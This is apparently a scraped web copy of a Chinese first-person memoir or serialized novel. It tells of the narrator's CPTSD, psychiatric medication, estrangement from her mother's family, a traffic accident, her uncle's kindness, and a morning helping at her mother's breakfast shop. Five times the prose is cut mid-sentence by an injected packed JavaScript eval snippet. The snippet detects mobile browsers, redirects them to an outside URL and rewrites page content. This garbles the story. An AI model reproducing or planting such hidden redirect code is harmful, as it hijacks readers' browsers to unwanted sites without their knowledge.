PTSD和CPTSD可被看做一个“创伤谱系障碍”的连续体,PTSD位于谱系的一端,代表了单一事件导致的典型创伤反应,而CPTSD位于谱系的更严重、更复杂的一端,代表了长期、发展性创伤导致的全面人格结构损伤。试想,那些遭受虐待的儿童,不用言语攻击有多冷酷,不用身体暴力有多致命,对于一个年幼的孩子,都是生命不能承受之轻。长期处在这种环境中无法逃离,她们的反抗之翼在幼年已被折断。 CPTSD包含了PTSD的所有核心症状,如再体验、回避、认知与情绪的负面改变,和过度警觉。并增加了三个更根本的维度,情感调解严重失调、消极的自我认知,和人际关系困扰。 抑郁(持续的情绪失调),是CPTSD的核心特征之一。由于长期处于情感痛苦、自我否定、人际关系崩塌和精力耗竭下,抑郁是再自然不过、甚至可预期的心理反应。 这不是我第一次与CPTSD接触,一八年《梅尔罗斯》开播,我因卷福而关注这部剧。从侧面了解到内容,我选择不看。《梅尔罗斯》的男主人公帕特里克,剧中虽未指明,可知悉CPTSD概念的人,无不认为他是一名CPTSD患者。 二三年十二月,于事业 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301281|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 上我完成了技术方向的调整,也自我确诊了CPTSD。 二四年我的新年计划,是阅读CPTSD的书,开始恢复。我对成因心知肚明,已接受现状不可更改。我能做且想要做的,是让自己不为之所困,不为之所苦。 事与愿违,去到泽铯后,我全身心投入到工作,埋头苦干,工作之外的时间,和废物无二,不知道自己做了什么。 工作于我并不总是这般糟糕。 泽铯之前,公司给予的压力适中,归因于主打自研项目,我在分得的模块内与新功能规划时,都有相当的自主权。规划合理,而人举措得当,在预期时间内完成任务、交付没有太大问题都是水到渠成。领导对我的能力有一定的了解和认可,较少干涉我的行为和步调。 我从工作中获得成就感,因克服难题而欣喜,由于量的积累而自信,因为质的提升而安心。在泽铯,则为新技术的实现感到雀跃和吸引。 工作尚未成为我的解药,不过,过去的每一年,我都感知到自己比前一年更为强大。我不可动摇地在事业这条旋梯登阶前行,拿到自己想要的,便去往下一个目的地。直至转向虚幻这条道路,我以为曙光就在前方。 我尚未从工作中感受到挫败,也从未在工作中付出如此之多,可境遇却前所未有的糟糕。我被巨石压得喘不过气,被藤蔓缠得几近窒息。谁曾想,我竟被工作拖入如此深渊,深陷难以为继的沼泽中难以自拔。 7. 回忆:服药后获得喘息 7 吃药第一天,时间慢了下来。 脑海中常年有负面的东西,它们久久盘旋,历久弥新,且还在发展壮大。由于多梦,夜间休息亦不佳,每晚在梦里挣扎,潜意识的妖魔鬼怪止不住地肆虐张舞。 现在,风浪好似平息下来。 第一次看完心理科,心里的重负有所卸下。我接受了这个事实,那就是自己再也扛不住了。即使我无限包容他人,全心全意爱自己,力挽狂澜也有透支的一刻。我不曾拿毁坏自己报复他人,自身已无法维持完好,宣之于口是对自己的仁慈与宽恕。 我分别给爸妈去电,告知他们我去了精卫,医生开了药。我想,他们对这个结果不会感到讶然。爸爸感到些许悔恨,电话里,妈妈还在为外婆辩解。 “家家年纪大了,脑袋不清白,你跟个要死的人计较什么!” 我不知道妈妈如何能将这种过分的描述说出口,徒劳地让我不要在意,仿佛对我再次施加凌迟。谁能叫伤口不痛?明明是她们做了过分的事情!和妈妈的沟通,向来无解。 当天稍晚,我洗漱完毕,吃药后准备睡觉,却听到了敲门声。询问后开门,爸爸站在暗处,手里拎着一袋苹果。 “你有什么事?” “我就是想来看看你。” 他还想知道医生具体怎么说,我无视他的意图。父母无事不登三宝殿,没想到,他竟然为了这件事夜间驱车过来。我情绪有些波动。 “我只是告知你结果,没有其他意图。” 爸爸仍想说些什么,我并不在意,让他赶紧回家。我一直缺乏安全感,若是他人因我的缘故遭遇不幸,叫我如何自处?我不愿挂念他人。 仔细回想,吃药之后,思绪不清不浊,较之从前,反而需要更长时间才能入睡。我明了入睡困难的原因,或是白天摄入咖啡因的缘故,或是下班后身心难以从工作中抽离。看过心理科,我遵从医嘱,十点上床,两点之后方能睡着。 白日,心底盘根错节的伤痛开始枯萎凋零,脑海中肆意张狂的狰狞逐渐减少登台。过往拍打身躯的激浪一步步退去,心情转为平和。我开始在意生活中的小确幸,比如奶茶和美食。食欲高涨,这是药物显现的第一个副作用。 人生旅途多有不顺,焦虑却从未找上我。第二次出现恐慌,我意识到这亦是药物的副作用。停药后逐渐缓解的入睡困难,则是药物的第三个副作用。 用药后反而容易焦虑,我对此的理解是,药物带来平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301282|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 静,却也驱使其他情绪下线离场。以往身处不利情形多方对焦虑的化解不再,刨去痛苦和愉悦,平地而起的,便是止不了的、歇斯底里的、狂风大作的焦虑。 我不会因为焦虑增加对药物的依赖。起床困难严重到影响工作,我别无他法,才选择借助药物。我做出了让步,却不会一退再退。一路走来,我不想依靠他人,亦不想借助外力。一无所有不可怕,只靠自己却无法走出,这才可怕。束手无策不适合我。 生活中有许许多多形形色色的问题,向来,对这些问题,我抱着解决的决心。这些问题不会自动化解,接受的维度也不在解决之上。我无法将这些问题抛诸脑后,静待身体恢复。我在和时间赛跑:要么我被拖垮,要么我脱离命运的魔爪。况且,我也不具备休养生息的条件,论包容、物质、体谅。我想,若是有这些,我也不会沦落至此。 并非无法承载伤痛,我只是行动力不足。用药排遣伤痛,走到如今的地步,效果并不好,不是吗? 总之,服药让我获得了一次喘息的机会。我仍记得过去的事,却不再有反应,不作其他感想。我不再熟悉伤痛,亦不再遵循旧例。情绪上的白板,让我和亲人的关系有所缓和,便有了春天去往妈妈住所的事情。 8. 回忆:事故后,和小舅舅家再次联系 8 二三年秋天和妈妈彻底闹掰,亦不再与她那边的亲人来往。地理上,我与亲人同在一个城市,距离不远;时间轴上离散的相聚,促成了有分无缘。只同辈中的两人偶尔和我有联系。 四月的一天,开车上班路上,我出了一场交通事故,还撞到了人。我行驶在辅道,前方的电动车欲变道拐弯,却头也不回、直挺挺地横跨马路。察觉的一瞬我尽可能地踩刹,还是没能避免相撞。行人保护气囊弹了出来,将那人撞飞了老远。 拨打一二零,救护车抵达现场,医护建议我跟去医院了解情况。从医院出来,我接到电话,号码并不熟悉。 “哪位?” “呵,我能是哪个?我是你舅伯。”是小舅舅。 “这不是你的手机号码。” 他意识到我无意冒犯。 “你现在在哪个医院?我跟你舅妈一起过来。” 在医院等待时我给表弟去电,咨询这种情况的处理流程。他提到联系保险公司。我没想到会惊动长辈,不过,倒也不奇怪。 小舅舅一家住在房陵,正是我行业聚集的地方。上康与房陵接壤,再次租房,我选择了更具烟火气的上康。一次带脱兔去宠物店洗澡,由于低血糖发作我晕倒在店里。恢复意识后,我感到几分脆弱,给表弟打去电话,聊了几句。不多时,他和小舅舅、小舅妈一齐来到店里。那一回,才是措手不及。 “我刚出医院大门。”电话中,我描述了大致的情况。 “保险公司的勘察员联系我了,我正准备去和他们汇合。” “是的,打了一二零,责任已经尽到,后续的交由保险公司。你赶紧从医院离开。”小舅舅嘱咐道。 “你不要怕,晓不晓得?该怎样就怎样。”他试图安抚我的情绪。 我好似从来不会害怕。居然有人担心我,我有些失笑。 “我只是第一次碰到这种情况,不知道该如何处理。”我如实相告。 小舅舅又叮嘱我几句,我一一应声。 那个周末,我带着早春的毛尖和一罐常喝的柚子茶去到小舅舅家。 小舅舅和小舅妈搬回乡下已有数月,我从姜斯童那里得知。和妈妈那边的亲人不再往来并非一时冲动,我和妈妈起过无数次争执,从未祸及他人。小舅舅一家住在城里,我与他们没有矛盾,不过,一九年开始我不再去外婆家吃年夜饭,一年到头,一面也不定见得上。其实,不联系,已是疏远。 我对家人心生抵触。他们对我不好,却要我像对待长辈一样尊敬他们、称呼他们,这样的事做起来,不就是背弃自己吗? 我已醒悟人无法改变,不再对他人抱有期待。只不过,我仍未拿定主意与亲人断绝关系。亲情于我,尚未弊大于利。心灵如何受伤,既看不到,也摸不着,不似白刀子进红刀子出那般无可辩驳。我以不抱期望来回避失望,以并非有意替她们开脱。毕竟,论心不论迹,论迹贫家无慈亲。 小舅舅回乡后,将外婆家的老屋重新修葺了一番。大舅一家已同外公外婆搬去主街,这么些年,老屋一直空着。外婆家和奶奶家一样,大多数资源归给长子,次子分第二套房,女儿分些钱财。 妈妈则很是不同。甫一收到大学录取通知书,家里便在城乡结合部购置新房,首付大部分来自外公。外公去世后,妈妈替表哥张罗工作、娶妻、生子,一跃成为外婆家的话事人。自然,里里外外,钱也没有少拿。 老房已焕然一新。墙上砌的新砖,安的指纹防盗门,门两边各有一扇百叶窗,窗玻璃清透、干净。 我把自行车停在门前的空地上,去到门口,喊道:“舅伯!舅妈!” “来了!”屋里立马响起两声回应。门自内向外打开,小舅舅和小舅妈站在门口,看着我有几分亲热,又有几分局促。 “你今天怎么来了咧?快进来!”小舅妈说道。 我跨过门槛,并不往里走:“那不行,把地板弄脏了。” “我给你拿个鞋套。嗯……一下子还找不到了。我把姜斯童的拖鞋拿给你穿好不好?”小舅妈问道。 我点点头。她从门侧的鞋柜拿出拖鞋,换了鞋,我进到屋里,从购物袋拿出茶叶和柚子茶,觍着脸介绍:“这是今年的新茶,”说完递给舅舅,“我一直喝这个柚子茶,百分之六十都是果肉,”又递给舅妈,“你们尝尝。” 小舅妈接过去,柔和地看着我,嗔怪我还带东西来,要我去沙发上坐。 小舅舅也在一旁附和,“你直接过来就行了,还这大礼性。” 小舅舅对我说话向来轻声细语,耐心宛转;小舅妈待我也总一副亲热心疼的模样。生命中少有人这般待我,他们家的温馨让我不知所措。 我讲了事故的后续处理。车已送去维修,费用由我垫付。所幸撞到的那人没什么大碍,只软组织挫伤。 小舅舅小舅妈一副放下心来的样子,絮说着那天不方便在电话里说的话。 “姜斯童一个电话打来把我跟你舅伯吓了一跳,你舅伯立马起身换衣服找车钥匙准备去医院找你。” 小舅妈话里还带着未散去的心急:“你不晓得现在外面都是些什么人,我们都怕你一个姑娘伢在外面被人欺负了。” 我听着心中一热。步入社会这些年,看人下菜碟的事,也遇到过几回。当时或许觉得无力难缠,却不曾因为是女性而觉得委屈,反倒平添几分好笑。 “你当时就不该跟去医院,他们一大群人,要是拿你怎样,都不好说。”小舅舅在一旁补充道。 “遇到这种事,第一时间要打一二零,保障双方人身安全,然后也要晓得保护好自己,别什么纠纷都往跟前凑。你一个小姑娘,要是碰上那些不讲道理的,就只有吃亏的份。” “就算是你的错,你也不要怕。人总有粗心的时候。是别人的问题,还是该怎么样就怎么样,也不用担心得罪人。” 小舅舅和我讲道理,我点点头,表示听进去了。 事情说完,屋里安静了一会。 “这是你第一次来吧,”小舅舅起身,推开门,拿出烟盒,点燃一根烟。 我跟在他身后,置身于隔开前屋和里屋的院子。灰瓦赭砖下,铺着一排一米多宽的橙色 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301283|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 木板,架在离地三十公分的位置,方便打扫,不易生蚁虫,又可充作板凳。 “冬天的时候,往这上面一躺,晒着太阳打瞌睡,不晓得有几舒服!”他神情中流有几分恣意。 “唔,有点像霓虹乡间老宅的缘侧。” “是吧,就是照着那个设计的!”小舅舅在霓虹打工过三年,男儿血性不忘,好的不会诋毁,坦然承认欣赏。 “你平时没事就过来玩,你弄你的,我和你舅妈搞我们的,不会打扰到你。” 小舅舅热情邀约,我点点头,应声说好。 回到前屋,小舅妈转换话题,和我说:“虽然没有去找你,我们一直记挂着你。” “在我们能力范围内,一定会帮你的,遇到事,你不要一个人扛。” 闻言,我望向小舅妈的眼睛,里面只有真诚。 “散步的时候打你家楼下过,我们总会看看灯有没有亮,车子在不在楼下,想着小翕回来了没呀!” “你就当自己是我们家的姑娘,一个伢养是养,两个伢还不是一样地养。”我看着小舅妈的眼睛,知道这些都是掏心窝的话。 “晚上回来你就到我们家吃饭,我跟你舅伯睡得晚,给你留饭一点问题都没有。要是带饭,想吃什么菜就跟我们说,都给你备好。”小舅妈还记得我疫情带饭的事。 “你舅伯老在家说,他就一个妹妹,仇了那也是他妹妹,没得办法。我们没得姑娘,就姜斯童一个。你舅伯一直把你当自家姑娘,一有事急得跟什么似的。你要是愿意,就把我们当作你的父母,其他的都不去想,懂伐?” 我微笑着接受小舅妈的好意,点点头。“没事,我吃的简单,一下就把饭做好了。我回来的时间太晚了,就不给你们添麻烦了。” 听到家人这么说,我别无所求。小舅舅小舅妈不是无动于衷,这就够了。 我在心里呼出一口气,脸上的笑容一直未散去。 出门时已近饭点,小舅妈将将把饭做好,和小舅舅一齐留我吃饭。 “屋里正煮着饭,菜也备好了。”我起身准备告辞。 这时,门外传来了呼声:“小昊,王嫣,是我呢,把门打开!” 我听出了来人的声音,大脑不知如何应对。身体有几分僵硬。 小舅妈有些左右为难,开门也不是,不开也不是。小舅舅应声,给外婆开了门。 正午日头高悬,外婆头戴毛线帽,身着黑色羽绒服,佝偻着背站在逆光处,精神抖擞地嚷嚷着:“你们在搞什么呀,怎么这么长时间才开门!”她视线一转,看到屋内的我,开心地说道:“小翕也在呀!” 意识开始回笼,我有些嗫嚅,顷刻间,拿定主意不打算回应。见状,小舅妈不再留我吃饭,试图给我拿些零食。 “不用。我先回去了。”说着,我往门外走去。 在门口与外婆擦身而过,她很是诧异:“你怎么不喊我啊!” 我没有理会,骑上自行车,一圈接一圈地踩着踏板,离巷口越来越近,把小舅舅劝外婆算了的声音抛在身后。脑子里嗡嗡地,身体自行动作,直至回到了家。 9. 2025年6月,第23周 9 [2025年6月,第23周] 凌晨四点半起床于我没有困难,这一点,出人意料。闹钟一响,脑海浮现了早起与去店里帮工的联系。关掉闹钟,我从床上起来。 现下时间还早,不用给脱兔准备早饭。刷牙洗脸,换好衣服出门,用时还不到一刻钟,身上有几分轻快。 六月初,天还不大热,五点的街道未见天光。街对面一排黑幢幢的店面,门口四散着待收拾的垃圾。顶头那家尚点着昏黄的老式灯泡,小面包车未合上的尾门堪堪指向招牌。 街这边一排零星开着的店铺,有坡脚的小面点铺,和坡上妈妈开的早点铺,与隔街两面都是卷帘门的面馆遥相辉映。 踏上台阶,进到屋内,煮面炉在房间靠里的一角,蒸腾的热气直往上涌。 妈妈租了两个门面,中间打通,一间摆放各种设备,与煮面炉相邻、带有加热功能的调料台上立着一个钢化玻璃罩,可充当柜台,她每日在此间迎来送往;另一间摆着三张四方桌,前后各一条长板凳,紧凑得刚刚好,供时间充裕的客人用餐歇息。 用餐间的墙角设有一张四方桌,可用作工作台。进来时,妈妈正站在工作台前打制作豆皮要用的米浆。 她没有注意到我。我喊了声“妈”,引得她抬头看我,面上露出笑意。 “来了呀!”她应声道,低头继续用清水冲洗料理机杯壁上挂着的余浆。洗毕,她把盛着米浆的塑料盆递给我,让我拿去隔壁;折返回来,她把料理机的杯身递给我,让我归到铁门掩着的狭小隔间。 我将杯身放到货架上,从隔间出来,抵着铁门,由她进去归置底座。 “跟你大舅妈说了不知道多少回,进来先喊人,冷不丁地站在那,回回都把我吓一跳。” “你这就挺好,一喊我,就晓得你来了。”我略带尴尬地点点头。 “你咧,今天先看着我怎么做。店里事情不多,就怕客人一窝蜂地进来,容易乱套。那个时候,你得多帮衬着点。” “嗯,”我应声道。 “回答要说好!嗯来嗯去的,像什么话!”她的情绪一下子就不好了,语调随之拔高。 这句话我儿时也听过,除去顺从,还要给她提供情绪价值。何时开始,我不再全然地信任于她呢?这一改变的界限无比清晰。小六手腕骨裂那次,妈妈帮我洗澡却百般不耐,推搡几次后,状况升级,终于,她动手打人。愚钝如我,在那个时刻,也能意识到面前这人,不再打心底地替我着想。 “好。”我补了一句。 她去到隔壁房间两张并着的料理桌前,开始操作封口机。 “这个东西很有窍门,我也是试了好些回才弄明白。先看指示灯,红的表示在加热,绿灯亮起,说明温度够了,这时才能封口。明白吗?” “明白。”我答道。 “把托盘拉出来的时候,要用一只手扶着,不要拉过头,会掉下来。”我看着她操作,点点头。 她从桶里舀出一勺豆浆,灌入杯中,对我说:“放到托盘的时候,一只手托着杯底,清楚吗?不要晃出来。” “知道了。” “推进去也是一样,慢慢地来。” 她边说边示范,把托盘推进去,转动卷膜,停下来的时候,指着膜上的两个黑色小方块,和我说:“对齐这个位置,再往下拉杆,图案就是整齐的。拉杆的时候,也要把机器扶好,记住了。” 我点点头,说“好”。只见她合着力拉出托盘,用手垫了一下杯底,把封好口的豆浆取出。 “你来试试。” 她去到旁边让出位置,我往前一步,动手盛豆浆,一步步按她说的来。 将豆浆放入托盘时,我一只手卡着杯口,另一只手没有托住杯底,被她呵斥了一番。把托盘推进去时,稍微有些卡顿。最后拉出来,由于不好使力,一次没拉动。我调整了着力点和力道,而后成功。 好在图案对得不歪,她没有发挥的余地,我自顾自地继续。 转行程序员,同事中少有女性。都说女性千金贵体,男同事的一双嫩手,却见得更多,那才是十指不沾阳春水。上到初中,除去自己的房间,其他家务,也一一上手;及至初三,一应生活起居,大抵都能弄得明白。经由常年累月的家务劳作,加上拉得住脱兔的蛮劲,虽和男性从事相同的工作,却是我,更像糙老爷们。当然,耐心可见一斑。 红灯亮起,豆浆皆已盛好,数量不多,考虑到客流有限。无事可做,我转头望向妈妈。她昨晚忘记把馅料移到冷藏室解冻,此刻正一点点地在锅中敲碎,意欲借助火力快速升温。 香菇粒、竹笋块,五香卤料、薄豆干,切块均匀、纹理分明的肉丁散落在其中,霎时间满堂香气。 待所有豆浆封完口,摆放到盆子里,我将它们移动到料理桌靠门的调料区。 去到妈妈那里,她正在分装碗面。 “都封装好了?” “是。” 和我讲完克重,她又告诉我一次性手套放在哪,让我去拿一双。 手头再次空下来,我去到妈妈身边,她正把糯米铺在不锈钢方盘上。 “看,手像鸡爪一样,把糯米团破开、碾平。” “做事都是有窍门的,你以为光看就会了!” 她拧开煤气阀门,从燃气灶的进风口送入点火器,将煤气点燃。之后,逆时针转着锅边,将锅烧至冒烟。燃气灶右侧亦有一张方桌,上面摆着制作豆皮的一应工具。她从桌上的油壶舀出一勺鸡油下锅,用 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301284|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竹炊帚刷成薄薄的一层。油热后,倒入米浆,将铁锅前后左右晃动,意图赶在米浆凝固前将其均匀铺展。之后,她盖上锅盖,稍作休息。 “没看过别人做豆皮吧?”她许是忘了三小门口那家。说起来,这倒是我第一次看见不锈钢方盘。豆皮店的老板都是径直从木桶取出糯米,当场快速铺匀。 语毕,她磕破事先准备的鸡蛋,打散。又过了一会,她掀开锅盖,白花花的面皮已和铁锅分离,整体偏厚,略有几处看上去有些单薄。她将蛋液倒入锅中,再次晃动,在不大匀称的地方停留更长时间。蛋液定型,她将面皮翻面,有几处稍显突起,炕得有些过,她也不在意。 她调小火候,从桌上端起方盘,将糯米不偏不倚地扒到面皮上,把满满一碗馅料,倾倒在糯米上,一处也不留白,又往四周浇淋卤汁。 事毕,她将空出的面皮翻过来盖在糯米上。现在,到了最关键的时刻。 脱兔七十来斤,抱着它上称很是不易。我没试过铁锅的重量,家里的锅稍大,颠起来都得使上两只手。 妈妈沿着锅边淋了一圈油,反应起来滋滋作响,焦香的气味涌入口鼻。她晃动起锅,豆皮在锅内转着圈,示意自己已充分润滑。只见她扬起锅身,豆皮滑动到下部,又托起锅底,豆皮随之滑到上部;反复数次,她逐渐加快手速,上扬时猛地一下,将豆皮翻了个面。 “嘿嘿,今儿个也成了!”妈妈自觉欣慰。 “厉害呀,这么大的家伙,亏你翻了过来!”我禁不住地赞扬。 “一开始手上还不是没力气,那就只能练咧!每天拉筋,搬重物,一回回地试。你瞧,这不就把手艺练出来了!” 妈妈向来肯吃苦,还心甘情愿;做起事来干劲十足,并以身作则要求我。 她从桌上拿起平切铲,将豆皮分作小份,撒上葱花,万事俱足。 先前店里只妈妈一人,豆皮只能摆在屋内。不过,现在店里有了小二。她把晚上出摊才会用到的不锈钢定制小桌从冰柜上方搬下来,架在门口的台阶上,将整锅豆皮搬到屋檐下。 “去把纸碗、筷筒拿出来。”纸碗在燃气灶旁的方桌上,筷筒则在调料台的外侧。她从调料区拿来装着保鲜袋的筷筒,把二维码挂在玻璃门的扶手上。 “小份盛四块豆皮,收五元,大份五块,收六元。听清楚了吗?” 我点点头。 她返回屋内给我拿了个塑料矮凳,我欲坐在门口的平地,可在妈妈眼里,太不像样。台阶之上,一张方桌恰好贴着门口,若是坐在空地,定会挡道。妈妈将矮凳放在台阶,不大不小刚刚好。坐在矮凳上,我开始守摊,此时恰好五点半,司机师傅刚往垃圾转运车倾倒完垃圾。天空渐渐泛白,不时有三两个行人从路口冒出来。 10. 2025年6月,第23周 10 [2025年6月,第23周] 妈妈在城乡结合部找到工作,全家搬离乡下,我也转学到杉湖第三小学。武陵区在市郊,占地面积不大不小,辖区内亦有多个乡镇。其中,复兴村和杉湖镇均与城区接壤,前者更靠近主城区,开发较早;后者作为武陵的传统政治经济文化中心,近年来,接连蓄势。 我所在的榕潭镇邻近别市,算不得封闭,却也没什么商业气息。榕潭有几处历史建筑,市政不欲做工业上的规划。 当地办事处收入尚可,那个年代能在办事处上班的人,家境不会太差。爸爸同事的孩子,即使未在杉湖的小学入学,一年年地,也都转去了那边。老师的孩子大多也如此。及至五年级,除我之外,班上只一个老师的孩子没有转学,他双亲都在学校工作。在杉湖升上初中,还和他同班。 从儒伊辞职,我在杉湖住了一段时间,才和妈妈搬回榕潭的老屋。 待业的日子,我不怎么出门,偶一嘴馋,从午后提前到十点,又从十点提前到九点,还是没能买上排骨。早些年经济形势一片大好,肉铺早早开门,卖完收摊,乡里的居民采购起来,兼具爽快和大方。 榕潭的物价并不低,和杉湖一样,采购自武陵其他乡镇。水果卖得尤为俏,老板从不担心客源,一个品相不错的苹果,平均下来要五、六块,四、五根香蕉,则卖到了十来块。至于应季的水蜜桃、荔枝、樱桃等,只要舍得花钱,都可以尝个鲜。 姜斯童全家,老嚷嚷着“乡下”二字,每每回来,总说作“回乡下”。我则坚持称榕潭,直到一六年搬回乡下。 武陵的水土资源丰富,养殖业发展得很是不错。榕潭地处周边,商贸不显,居民从事养殖,经由积年累月的辛苦劳作,手头的余钱颇丰。住在村子里的,吃喝自给自足,往往还多出来不少,除去送给亲友,不时还赶集叫卖;家在街道的,正好干点小本营生,日子倒也过得红火。 虽无重工业这类,当地多少有些轻工业工厂。打我儿时起,一直有人外来务工。这几年,越来越多的居民搬迁到杉湖,好在办事处招商引资的力度不小,来这边打工的人亦有增加,成为了本地小本生意离不开的源头活水。 妈妈是榕潭本地人,爸爸出生在上庸,却是齐安区的城里人。 打我做伢起,妈妈就常与街坊炫耀,直言我家在城里有房。李家自太爷爷那辈就住在齐安,上世纪房改,平房变作两套商品房,爷爷奶奶积蓄不足够,大伯和爸爸主动从工资拿出一部分,把事情办落地。 爸爸兄弟姊妹三人,只他考上大学,却偏偏分到乡下。这其中还有一则轶事。本来,爸爸被分到杉湖土地局,他以与所学专业不符为由,申请重新分配。这一要求并未被打回,工作人员大手一挥,将他划到了榕潭办事处。于是,他成为了办事处有史以来的第一名大学生。 高中以前,我常在寒暑假去奶奶家小住。年少时,这为我带来许多安定与开怀。大伯家的女儿与我同岁,又是同届。溪辞肖大伯母,为人并不挑拣,单独与我相处,俩人少有拌嘴,龃龉更是无从谈起。儿时,我最喜欢的,便是妈妈与溪辞。 回庸后,我在房陵工作,却不曾抗拒在榕潭生活。城市固然便利,乡间自有安心。若是有心一争高下,自然首选大城市:自身条件是一方面,我顺风顺水惯了,大城市人杰地灵,我不具备优势;吃不得苦是另一方面,大城市虽好,步步为营,处处受制于人,没得我想要的安心自在。我心中亦有疑惑,一方水土一方人,在榕潭上小学,老师于我的谆谆教导,别处一概不及,为何大势所趋的,却是群英荟萃? 我的作息一向不太规律。尚在学校,放学后的时间才由我做主,自是舍不得睡觉。及至大学,更是不受约束,寒暑假晨昏颠倒都不足为奇。早起于我,实属罕见。 未去杉湖,妈妈不着家,爸爸只顾自己。我得上学,中饭和晚饭都在外婆家吃。我尤爱外婆家门口的空地,或是读书写字,或是玩耍乘凉。乡下的每一户,门前都有这样一块地。只不过,街道改造后,门前只一条石板铺就大马路,只有仍念旧习的人,偶尔独坐在街边的长椅上。 坐在小板凳上,看着街道来往的行人,这样的日子,很久没有过了。 隔街的面馆门口支起了小桌,一波又一波的人乘坐面包车去往她家,站着把面吃完,继而返回车中。沿着前路,小车将他们载往更远处。 上了年纪的婆婆零散地行走在街道,拎着各种赠送的无纺布手提袋。经过还未开始营业的药房,不住地往里张望;或是径直去往不远处的集市,却不进到内里,在门口的小摊挑拣起来;已经折返的,拎着的只肉和菜,少有其他。 觉察到无味,我拿出手机,点开新闻应用。 和妈妈坦白前,我在网上搜索了考试的基本信息。公务员考试通常在十一月底,一共有两门,行测和申论。其中,行测根据岗位属性,分为副省、地市和执法卷三类,各有侧重。 行测包含多个模块,各类试卷考纲一致,各模块题目的数量不同,分值也不一样。其中,行政执法岗位最多,副省级试卷难度最大,选取教材前,须得明确试卷类型。 我去电咨询培训机构,电话那头知道计算机专业的择岗余地大,出乎意料的是,对于行测试卷类别,却是一头雾水。 最终,我找到去年考试院公布的职位表。满足专业条件的非应届岗位不多,好在,地理位置仍有得选。我又找到省考对应的表格,法学专业极具优势,具体到武陵也有岗位。二者考试科目一致,国考之后便是省考,机会不止一次。 我已找好课程,只待资料送达。我还在大土豆(社交应用)搜索经验帖,在手机下载必备应用,打算早上得空的时候浏览,日常积累素材、培养语感。 大致翻阅了首页新闻,我取出一只无线耳机,点开电台里的热点特评。对面水果店的老板也去到了店里,此时刚过六点。 不一会儿,对面有人从电动车下来,原来是药房的店员。随后就有爹爹婆婆进去买药。店里亦迎来今天的第一位客人,他把电动车停在门口,我打着招呼问道:“您吃点什么?” 他看了我一眼,张开嘴,却没说话,径直走上台阶。 我往屋内走去,听着妈妈招呼:“早上好呀您,今天吃点什么?” “来碗拌面,打包带走。”他这才开口。 妈妈麻溜地烫面放佐料,把面碗端到门口的料理台,询问道:“葱和醋都要吗?” 对方没有回答。见状,妈妈舀了一小勺葱花,滴了几滴香醋,打 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17301285|198639||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包后递给客人。 那人付了钱,下楼骑车离开。 我有些讶然,幼时在榕潭也见识过大男子主义,可现在都什么年代了,还有人精神世界依旧匮乏,须得从外界找补存在吗? 我扁了扁嘴,无可奈何地报之一笑,坐回我的小板凳。 六点半之前,多是要开工的人,提前出门在店里用过早饭;六点半之后,则是送孩子上学的家长,骑着电动车,后座载着孩子,在街道上穿梭,通常打包带走。 坡脚的小面点铺,生意当之无愧整条街最佳。我原先上班也不愿早起,每天留出在便利店买包子的时间,踩着点出门。现在的面点不似从前,个小,花样多,味道好,街道两头都有学生伢过来光顾,之后再去学校。 陆陆续续有人过来购买豆皮。我一一盛好,打包,递给他们,举着二维码方便顾客付款,七点不到,已卖完一锅。 